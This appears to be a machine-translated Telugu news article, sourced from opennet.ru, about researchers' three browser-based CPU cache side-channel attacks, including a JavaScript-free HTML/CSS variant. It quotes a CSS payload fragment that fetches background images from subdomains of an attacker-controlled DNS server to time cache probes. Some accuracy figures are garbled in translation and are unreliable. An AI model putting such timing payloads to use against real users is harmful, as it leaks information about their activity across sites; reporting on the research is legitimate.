CPU కాష్ వెలికితీత దాడి JavaScript లేకుండా వెబ్ బ్రౌజర్‌లో అమలు చేయబడింది

అనేక అమెరికన్, ఇజ్రాయెల్ మరియు ఆస్ట్రేలియన్ విశ్వవిద్యాలయాలకు చెందిన పరిశోధకుల బృందం ప్రాసెసర్ కాష్ యొక్క కంటెంట్‌ల గురించి సమాచారాన్ని సేకరించేందుకు వెబ్ బ్రౌజర్‌లలో పనిచేసే మూడు దాడులను అభివృద్ధి చేసింది. జావాస్క్రిప్ట్ లేని బ్రౌజర్‌లలో ఒక పద్ధతి పని చేస్తుంది మరియు ఇతర రెండు టోర్ బ్రౌజర్ మరియు డిటర్‌ఫాక్స్‌లో ఉపయోగించిన వాటితో సహా సైడ్-ఛానల్ దాడులకు వ్యతిరేకంగా ఇప్పటికే ఉన్న రక్షణ పద్ధతులను దాటవేస్తుంది. దాడులను ప్రదర్శించే కోడ్, అలాగే దాడులకు అవసరమైన సర్వర్ భాగాలు GitHubలో ప్రచురించబడ్డాయి.

కాష్‌లోని కంటెంట్‌లను విశ్లేషించడానికి, అన్ని దాడులు Prime+Probe పద్ధతిని ఉపయోగిస్తాయి, ఇందులో కాష్‌ని ప్రామాణిక విలువల సెట్‌తో నింపడం మరియు వాటిని రీఫిల్ చేసేటప్పుడు వాటికి యాక్సెస్ సమయాన్ని కొలవడం ద్వారా మార్పులను గుర్తించడం వంటివి ఉంటాయి. ఖచ్చితమైన సమయ కొలతకు అంతరాయం కలిగించే బ్రౌజర్‌లలో ఉన్న భద్రతా విధానాలను దాటవేయడానికి, రెండు ఎంపికలలో, దాడి చేసేవారిచే నియంత్రించబడే DNS లేదా WebSocket సర్వర్‌కు అప్పీల్ చేయబడుతుంది, ఇది స్వీకరించిన అభ్యర్థనల సమయం యొక్క లాగ్‌ను ఉంచుతుంది. ఒక అవతారంలో, స్థిర DNS ప్రతిస్పందన సమయం సమయ సూచనగా ఉపయోగించబడుతుంది.

మెషిన్ లెర్నింగ్ ఆధారంగా వర్గీకరణ వ్యవస్థను ఉపయోగించి బాహ్య DNS లేదా వెబ్‌సాకెట్ సర్వర్‌లను ఉపయోగించి చేసిన కొలతలు, అత్యంత అనుకూలమైన దృష్టాంతంలో (సగటు 98-80%) 90% వరకు ఖచ్చితత్వంతో విలువలను అంచనా వేయడానికి సరిపోతాయి. దాడి పద్ధతులు వివిధ హార్డ్‌వేర్ ప్లాట్‌ఫారమ్‌లలో (ఇంటెల్, AMD రైజెన్, Apple M1, Samsung Exynos) పరీక్షించబడ్డాయి మరియు సార్వత్రికమైనవిగా నిరూపించబడ్డాయి.

CPU కాష్ వెలికితీత దాడి JavaScript లేకుండా వెబ్ బ్రౌజర్‌లో అమలు చేయబడింది

DNS రేసింగ్ దాడి యొక్క మొదటి రూపాంతరం JavaScript శ్రేణులను ఉపయోగించి ప్రైమ్+ప్రోబ్ పద్ధతి యొక్క క్లాసిక్ అమలును ఉపయోగిస్తుంది. ఉనికిలో లేని డొమైన్ నుండి చిత్రాన్ని లోడ్ చేయడానికి ప్రయత్నించినప్పుడు ట్రిగ్గర్ చేయబడిన బాహ్య DNS-ఆధారిత టైమర్ మరియు ఆన్‌రర్ హ్యాండ్లర్‌ని ఉపయోగించడం వరకు తేడాలు తగ్గుతాయి. జావాస్క్రిప్ట్ టైమర్‌లకు ప్రాప్యతను పరిమితం చేసే లేదా పూర్తిగా నిలిపివేసే బ్రౌజర్‌లపై ప్రైమ్+ప్రోబ్ దాడిని బాహ్య టైమర్ అనుమతిస్తుంది.

అదే ఈథర్నెట్ నెట్‌వర్క్‌లో ఉన్న DNS సర్వర్ కోసం, టైమర్ యొక్క ఖచ్చితత్వం సుమారుగా 2 msగా అంచనా వేయబడింది, ఇది సైడ్-ఛానల్ దాడిని నిర్వహించడానికి సరిపోతుంది (పోలిక కోసం, Tor బ్రౌజర్‌లోని ప్రామాణిక JavaScript టైమర్ యొక్క ఖచ్చితత్వం 100 ఎంఎస్‌లకు తగ్గించబడింది). దాడి కోసం, DNS సర్వర్‌పై నియంత్రణ అవసరం లేదు, ఎందుకంటే ఆపరేషన్ యొక్క అమలు సమయం ఎంపిక చేయబడుతుంది, తద్వారా DNS నుండి ప్రతిస్పందన సమయం చెక్‌ను ముందుగా పూర్తి చేసినందుకు చిహ్నంగా పనిచేస్తుంది (అనరర్ హ్యాండ్లర్ ట్రిగ్గర్ చేయబడిందా అనే దానిపై ఆధారపడి ఉంటుంది. ముందుగా లేదా తరువాత, కాష్‌తో చెక్ ఆపరేషన్ వేగం గురించి ఒక తీర్మానం చేయబడుతుంది) .

రెండవ దాడి పద్ధతి, "స్ట్రింగ్ మరియు సాక్", జావాస్క్రిప్ట్‌లోని శ్రేణుల తక్కువ-స్థాయి వినియోగాన్ని పరిమితం చేసే భద్రతా పద్ధతులను దాటవేయడం లక్ష్యంగా పెట్టుకుంది. శ్రేణులకు బదులుగా, స్ట్రింగ్ మరియు సాక్ చాలా పెద్ద స్ట్రింగ్‌లపై కార్యకలాపాలను ఉపయోగిస్తాయి, దీని పరిమాణం ఎంపిక చేయబడుతుంది, తద్వారా వేరియబుల్ మొత్తం LLC కాష్‌ను (చివరి స్థాయి కాష్) కవర్ చేస్తుంది. తరువాత, indexOf() ఫంక్షన్ ఉపయోగించి, స్ట్రింగ్‌లో ఒక చిన్న సబ్‌స్ట్రింగ్ శోధించబడుతుంది, ఇది సోర్స్ స్ట్రింగ్‌లో మొదట్లో లేదు, అనగా. శోధన ఆపరేషన్ మొత్తం స్ట్రింగ్‌లో పునరావృతమవుతుంది. లైన్ పరిమాణం LLC కాష్ పరిమాణానికి అనుగుణంగా ఉన్నందున, స్కానింగ్ శ్రేణులను మార్చకుండా కాష్ చెక్ ఆపరేషన్ చేయడానికి మిమ్మల్ని అనుమతిస్తుంది. ఆలస్యాన్ని కొలవడానికి, DNSకి బదులుగా, దాడి చేసే వారిచే నియంత్రించబడే WebSocket సర్వర్‌కు కాల్ చేయబడుతుంది - శోధన ఆపరేషన్ పూర్తి కావడానికి ముందు మరియు తర్వాత, క్వెరీలు లైన్‌లో పంపబడతాయి, దీని ఆధారంగా సర్వర్ కాష్‌ని విశ్లేషించడానికి ఉపయోగించే ఆలస్యాన్ని లెక్కిస్తుంది విషయాలు.

"CSS PP0" దాడి యొక్క మూడవ రూపాంతరం HTML మరియు CSS ద్వారా అమలు చేయబడుతుంది మరియు JavaScript నిలిపివేయబడిన బ్రౌజర్‌లలో పని చేయవచ్చు. పద్ధతి "స్ట్రింగ్ మరియు సాక్" మాదిరిగానే ఉంటుంది, కానీ జావాస్క్రిప్ట్‌తో ముడిపడి లేదు. దాడి సమయంలో, ముసుగు ద్వారా శోధించే CSS సెలెక్టర్‌ల సమితి రూపొందించబడింది. కాష్‌ని నింపే ప్రారంభ పెద్ద స్ట్రింగ్ చాలా పెద్ద తరగతి పేరుతో ఒక div ట్యాగ్‌ని సృష్టించడం ద్వారా సెట్ చేయబడింది. లోపల వారి స్వంత ఐడెంటిఫైయర్‌లతో ఇతర డివిల సెట్ ఉంది. ఈ సమూహ divలలో ప్రతి ఒక్కటి సబ్‌స్ట్రింగ్ కోసం శోధించే సెలెక్టర్‌తో దాని స్వంత శైలిని కలిగి ఉంటుంది. పేజీని రెండరింగ్ చేస్తున్నప్పుడు, బ్రౌజర్ ముందుగా అంతర్గత divలను ప్రాసెస్ చేయడానికి ప్రయత్నిస్తుంది, దీని ఫలితంగా పెద్ద వరుసలో శోధన ఆపరేషన్ జరుగుతుంది. శోధన ఉద్దేశపూర్వకంగా తప్పిపోయిన మాస్క్‌ని ఉపయోగించి నిర్వహించబడుతుంది మరియు మొత్తం లైన్‌లో మళ్ళించడానికి దారి తీస్తుంది, దాని తర్వాత "కాదు" పరిస్థితి ప్రేరేపించబడుతుంది మరియు యాదృచ్ఛిక డొమైన్‌లను సూచించే నేపథ్య చిత్రాన్ని లోడ్ చేయడానికి ప్రయత్నం చేయబడుతుంది: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

సబ్‌డొమైన్‌లు దాడి చేసేవారి DNS సర్వర్ ద్వారా అందించబడతాయి, ఇది అభ్యర్థనలను స్వీకరించడంలో ఆలస్యాన్ని కొలవగలదు. DNS సర్వర్ అన్ని అభ్యర్థనల కోసం NXDOMAINని జారీ చేస్తుంది మరియు అభ్యర్థనల యొక్క ఖచ్చితమైన సమయం యొక్క లాగ్‌ను ఉంచుతుంది. divs సమితిని ప్రాసెస్ చేయడం వలన, దాడి చేసేవారి DNS సర్వర్ అభ్యర్థనల శ్రేణిని అందుకుంటుంది, వాటి మధ్య ఆలస్యం కాష్ కంటెంట్‌లను తనిఖీ చేయడం ద్వారా పరస్పర సంబంధం కలిగి ఉంటుంది.

CPU కాష్ వెలికితీత దాడి JavaScript లేకుండా వెబ్ బ్రౌజర్‌లో అమలు చేయబడింది


మూలం: opennet.ru

ఒక వ్యాఖ్యను జోడించండి